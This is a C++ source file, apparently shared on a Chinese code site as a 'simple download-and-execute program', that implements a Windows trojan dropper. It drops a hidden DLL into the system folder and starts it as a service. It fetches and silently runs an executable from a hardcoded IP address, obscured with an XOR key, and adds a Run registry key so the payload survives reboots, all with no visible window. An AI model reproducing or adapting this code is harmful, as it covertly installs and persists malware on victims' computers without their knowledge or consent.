installer.cpp

来自「一个简单的下载执行程序的源代码」· C++ 代码 · 共 259 行

// cc.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "windows.h" 
#include "resource.h"
#include "stdio.h"
#include "string.h"
#include "atlbase.h"
#include <shlobj.h>
#include "urlmon.h" 
//#pragma comment(lib,"msvcrt.lib")
#pragma comment(linker,"/FILEALIGN:0x200")
#pragma comment(lib,"Urlmon.lib")


#define MAX_LOADSTRING 100

// Global Variables:

HINSTANCE hInst;								// current instance
TCHAR szTitle[MAX_LOADSTRING];								// The title bar text
TCHAR szWindowClass[MAX_LOADSTRING];								// The title bar text
char key[21]="shyrjloiengkduysdxma";
char mypath[MAX_PATH]="d:\\mypath\0AAAAAAAAAA";
char s2[32] = "ccccccccccccccccc";
char url2[256] = "http://202.66.74.236/aa.exe\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
// Foward declarations of functions included in this code module:
ATOM				MyRegisterClass(HINSTANCE hInstance);
BOOL				InitInstance(HINSTANCE, int);
LRESULT CALLBACK	WndProc(HWND, UINT, WPARAM, LPARAM);
//LRESULT CALLBACK	About(HWND, UINT, WPARAM, LPARAM);
BOOL Usermodewrite()
{	

	int flag = 8;//0的时候为自定义下载目录，26的时候为第一种情况，28的时候为第二种情况
	char tmpname2[MAX_PATH]; 
	char exename2[MAX_PATH];
	char s[MAX_PATH]="";

	//char url2[256]="http://www.dllxia.cn/soft/UploadFile/2008-8/2008897552185739.rar\0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
	FILE *ftmp2,*fexe2;
	long filelen;
//	char startup[MAX_PATH];


	//解密部分
	for(int i=0;i<21;i++)
	{
	url2[i]=url2[i]^key[i];
	}


	switch(s2[16])
	{
	case 0:
		strcpy(s,mypath);
		break;
	case 26:
		SHGetSpecialFolderPath(NULL,s,26,FALSE);
		break;
	case 28:
		SHGetSpecialFolderPath(NULL,s,28,FALSE);
		break;
	}
//	strcpy(s,mypath);
//	char s2[32]="cccc";



			//	SHGetSpecialFolderPath(NULL,s,CSIDL_INTERNET_CACHE,FALSE);
				strcpy(tmpname2,s);
				strcat(tmpname2,"\\ipripn.exe");
				strcpy(exename2,s);
				strcat(exename2,"\\iprip.exe");
				URLDownloadToFile(0,url2,tmpname2,0,0);
				//Sleep(300000);
				Sleep(30000);
				//exec()		
				ftmp2 = fopen(tmpname2,"rb+");
				fseek(ftmp2,0,SEEK_END);   
				filelen=ftell(ftmp2);
				rewind(ftmp2);
				BYTE *b2=new BYTE[filelen];
				ZeroMemory(b2,filelen);
				fread(b2,1,filelen,ftmp2);
				fexe2=fopen(exename2,"wb+");
				fwrite(b2,1,filelen, fexe2);
				memcpy(s2,&b2[filelen-16],16);
				fread(s2,1,16,ftmp2);
				fclose(ftmp2);
				fclose(fexe2);
				Sleep(30000);
				if (strcmp(s2,"microsoftwindows")==0)
				{
				
					DeleteFile(tmpname2);		
					WinExec(exename2, SW_HIDE);
					CHAR skey[64];
					strcpy(skey,"Software\\Microsoft\\Windows\\CurrentVersion\\Run");
					CRegKey writevalue;
					writevalue.Create(HKEY_CURRENT_USER,skey);
					writevalue.SetValue(exename2,"iprip");
					writevalue.Close();
				}
				return TRUE;
}

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
 	// TODO: Place code here.
	HACCEL hAccelTable;

	// Initialize global strings
	LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
	LoadString(hInstance, IDC_CC, szWindowClass, MAX_LOADSTRING);
	MyRegisterClass(hInstance);

	// Perform application initialization:
	if (!InitInstance (hInstance, nCmdShow)) 
	{
		return FALSE;
	}

	hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_CC);
	char syspath[MAX_PATH]; 
	char dllname[MAX_PATH];
	char ininame[MAX_PATH];
	GetSystemDirectory(syspath,MAX_PATH);
	
	//写资源文件：
 	{
		HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(IDR_MYDLL1),TEXT("mydll"));
 		HGLOBAL hgRes = LoadResource(hInstance, hResInfo);
 		void *pvRes = LockResource(hgRes);
 		DWORD cbRes = SizeofResource(hInstance, hResInfo);
		strcpy(dllname,syspath);
		strcat(dllname,"\\ipripn.dll");
		HANDLE hFile = CreateFile(dllname, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 		DWORD cbWritten;
		if(hFile==INVALID_HANDLE_VALUE)//cantwrite ipripn.dll
		{
			Usermodewrite();
			exit(0);
		}
		WriteFile(hFile, pvRes, cbRes, &cbWritten, 0);
 		CloseHandle(hFile);
 	}
	//写资源文件结束
	//执行DLL
	FILE *fp;
	strcpy(ininame,syspath);
	strcat(ininame,"\\iprip.ini");
	fp = fopen(ininame,"w");
	fputc('0',fp);
	fclose(fp);
	Sleep(500);	
	char rundll32[MAX_PATH];
	char netstart[MAX_PATH];
	strcpy(rundll32,syspath);
	strcat(rundll32,"\\rundll32.exe ipripn.dll,RundllInstall");
	strcpy(netstart,syspath);
	strcat(netstart,"\\net start iprip");
	WinExec(rundll32, SW_HIDE);
	WinExec(netstart, SW_HIDE);
	//if(WinExec(netstart, SW_HIDE)<32)
	{
	Usermodewrite();
	exit(0);
	}
	return TRUE;
 }



ATOM MyRegisterClass(HINSTANCE hInstance)
{
	WNDCLASSEX wcex;
	wcex.cbSize = sizeof(WNDCLASSEX); 
	wcex.style			= CS_HREDRAW | CS_VREDRAW;
	wcex.lpfnWndProc	= (WNDPROC)WndProc;
	wcex.cbClsExtra		= 0;
	wcex.cbWndExtra		= 0;
	wcex.hInstance		= hInstance;
	wcex.hIcon			= LoadIcon(hInstance, (LPCTSTR)IDI_CC);
	wcex.hCursor		= LoadCursor(NULL, IDC_ARROW);
	wcex.hbrBackground	= (HBRUSH)(COLOR_WINDOW+1);
	wcex.lpszMenuName	= (LPCSTR)IDC_CC;
	wcex.lpszClassName	= szWindowClass;
	wcex.hIconSm		= LoadIcon(wcex.hInstance, (LPCTSTR)IDI_SMALL);

	return RegisterClassEx(&wcex);
}

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   HWND hWnd;

   hInst = hInstance; // Store instance handle in our global variable

   hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);

   if (!hWnd)
   {
      return FALSE;
   }

//   ShowWindow(hWnd, nCmdShow);
//   UpdateWindow(hWnd);

   return TRUE;
}


LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	int wmId, wmEvent;
	PAINTSTRUCT ps;
	HDC hdc;
	TCHAR szHello[MAX_LOADSTRING];
	LoadString(hInst, IDS_HELLO, szHello, MAX_LOADSTRING);

	switch (message) 
	{
		case WM_COMMAND:
			wmId    = LOWORD(wParam); 
			wmEvent = HIWORD(wParam); 
			// Parse the menu selections:
			switch (wmId)
			{
				case IDM_EXIT:
				   DestroyWindow(hWnd);
				   break;
				default:
				   return DefWindowProc(hWnd, message, wParam, lParam);
			}
			break;
		case WM_PAINT:
			hdc = BeginPaint(hWnd, &ps);
			// TODO: Add any drawing code here...
			/*
			RECT rt;
			GetClientRect(hWnd, &rt);
			DrawText(hdc, szHello, strlen(szHello), &rt, DT_CENTER);
			EndPaint(hWnd, &ps);
			*/
			break;
		case WM_DESTROY:
			PostQuitMessage(0);
			break;
		default:
			return DefWindowProc(hWnd, message, wParam, lParam);
   }
   return 0;
}